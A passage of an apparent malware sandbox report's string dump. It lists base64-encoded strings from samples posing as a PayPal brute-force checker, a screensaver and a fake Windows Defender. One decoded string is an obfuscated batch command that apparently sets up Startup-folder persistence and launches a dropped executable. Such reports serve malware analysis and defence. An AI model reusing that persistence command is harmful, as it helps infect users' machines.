File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YnVmZmVySW5mb3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YyVjMTgxMiVvJWV6aXUlcCVpbG9sY2RtJXkleDMwMTQlIFMlanNreWthbyV5JWFjaGFvd2lnJXMleGtkcyV0JXhwY2pkenp1byVlJWhid25oJW0lbTQyNzUlLiVrcGdrJWwlcmFjJW4lb3JhJWslb3J3Z3MlICVvYWlveGdhaXlqbXplZiUiJVVTRVJQUk9GSUxFJVwldGFzeWR5YiVBJWF0emxoZWwlcCVocmduZWtnJXAlcDE3NDAlRCViYWdtayVhJXNoZWdxbGFzZCV0JWxzZW5mZ2JyJWElYXVkJVwlZDI5MzklUiVjd3klbyVudXZqdXFsJWElYXpkaCVtJWxvdw==","type":"Ansi","source":"Runtime Data","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YyVjMTgxMiVvJWV6aXUlcCVpbG9sY2RtJXkleDMwMTQlIFMlanNreWthbyV5JWFjaGFvd2lnJXMleGtkcyV0JXhwY2pkenp1byVlJWhid25oJW0lbTQyNzUlLiVrcGdrJWwlcmFjJW4lb3JhJWslb3J3Z3MlICVvYWlveGdhaXlqbXplZiUiJVVTRVJQUk9GSUxFJVwldGFzeWR5YiVBJWF0emxoZWwlcCVocmduZWtnJXAlcDE3NDAlRCViYWdtayVhJXNoZWdxbGFzZCV0JWxzZW5mZ2JyJWElYXVkJVwlZDI5MzklUiVjd3klbyVudXZqdXFsJWElYXpkaCVtJWxvd3QlaSVmZ2UlbiVvZWd5c3BuJWclcWhlZyVcJWRzcXp6JU0lYWtzYnVkcSVpJWVmYSVjJWJtcmolciVhd3p0ZSVvJW51enAlcyV5bmJ2enRyb2olbyVsYWhydXRhJWYlbGx4bHEldCVnd3NtdnluaSVcJXczMDkyJVclbHJhaGl0ZmFwJWklanhqaiVuJXVuY3clZCVvZWtlJW8lam9ienhpJXclemZraW9ydiVzJWV6eCVcJW5zemh2ZXAlUyV6Z3AldCVnendhJWElYW53cHBxZm4lciVobWh4ayV0JXQ3OTkyJSAlcmF4ZW4lTSVraHAlZSVwd3VyZmJvcCVuJXZkdm1sd2EldSVrdmlhYSVcJW9ranVrY3VjZSVQJWJpaiVyJXhkcWdidXAlbyVmb2hndSVnJWhwZ2Zoa28lciVzaGUlYSVyNzgwMiVtJXlreCVzJXB5YyVcJXpkcCVTJWF1ZHFlciV0JXFsbnp2YmJqJWEld2t5aHJ1cmhjJXIlaWJteGV2JXQlanVmdnB2aSV1JWVjYiVwJXVoemFnanByJVwlYTY4MDMlIiVhY2h1dGUlICYgc3RhcnQgQzovTWVkaWEvZm9udHJldmlldy5leGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"zVzv5CCsXa33WA0xKgGdsJR1M6LeDN.bat","compromised":null,"detection_total":null,"total":null},{"value":"QzovTWVkaWEvZm9udHJldmlldy5leGU=","type":"Ansi","source":"Process Commandline","process":null,"filename":"fontreview.exe","compromised":null,"detection_total":null,"total":null},{"value":"QzpcUGF5UGFsQnJ1dGVfQ2hlY2tlci5leGU=","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXA==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1w","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000000.99381.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1wXA==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVRFTVAlXG5zdUE2RjAudG1wXCouKg==","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxBcHBEYXRhXFJvYW1pbmc=","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzc=","type":"Ansi","source":"Hybrid Analysis","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00401000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzdcUGF5UGFsIGJydXRlJmNoZWNrZXIuZXhl","type":"Ansi","source":"Memory/File Scan","process":"PayPalBrute_Checker.exe","filename":"00099061-00003552.00000001.99416.00409000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JUFQUERBVEElXDEzMzdcUGF5UGFsLnNjcg==","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxzb3VyY2VccmVwb3NcQW50aURlZmVuZGVyXEFudGlEZWZlbmRlclxvYmpcRGVidWdcQW50aURlZmVuZGVyLnBkYg==","type":"Ansi","source":"Memory/File Scan","process":"Windows defender.exe","filename":"00100753-00001696.00000000.100904.00842000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxzb3VyY2VccmVwb3Ncd2F0Y2hkb2dcd2F0Y2hkb2dcb2JqXERlYnVnXHdhdGNoZG9nLnBkYg==","type":"Ansi","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxEb3dubG9hZC8=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"JVVTRVJQUk9GSUxFJVxEb3dubG9hZFw5MGNjNmU0NDdkMzQ1YmIxZjEwMzc1MWFiMDM4YmJjZTE5MTkwZGI2LmV4ZQ==","type":"Unicode","source":"Hybrid Analysis","process":"90cc6e447d345bb1f103751ab038bbce19190db6.exe","filename":"00100415-00002736.00000001.100768.00AF1000.00000040.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q11dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1d","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Q19dYWBhXV1hY11hXWFdYV1hYGFcYVxhXGFj","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal brute_checker.exe.2422335050","compromised":null,"detection_total":null,"total":null},{"value":"Y2FiaW5ldC5kbGw=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVBbGxDb21wYXJ0bWVudHM=","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FjaGVHZXRPcHRpb25z","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0NvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Y2FsY2Nvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Nvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Rlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0Vycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBY2NvdW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBZGFwdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBbm5vdGF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdHRy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdHRyaWJ1dGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVBdXRoZW50aWNhdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVCcm9hZGNhc3Rlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDYW5kaWRhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDbGllbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb2xsZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb21wYXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb21wb3Nlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25maWd1cmF0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25uZWN0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb25zdW1lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb250YWluZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDb250ZXh0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDcmVhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVDdXN0b21lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEYXRhYmFzZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEZWZpbml0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEZXNjcmlwdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEaWM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVEaXNwYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFcnJvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFdmVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFeHBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVFeHByZXNzaW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGYWNhZGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGYWN0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGaWVsZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVIZWxwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbml0aWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnN0YW5jZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJbnZvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNYXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNZXRob2Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcmludGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9jY2Vzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm9kdWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWY=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSdWxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVSdWxlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHJhdGVneQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHJ1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUYWc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZW1wbGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUZXN0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWYWx1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXcmFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ZhaWx1cmVXcml0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0dldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0ltcG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0luZGV4ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0luc3RhbmNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY0xpc3RlbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1Byb2Nlc3M=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY1JlZ2lzdHJ5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlQ29tcG9zZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"Q2FsY3VsYXRlRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped 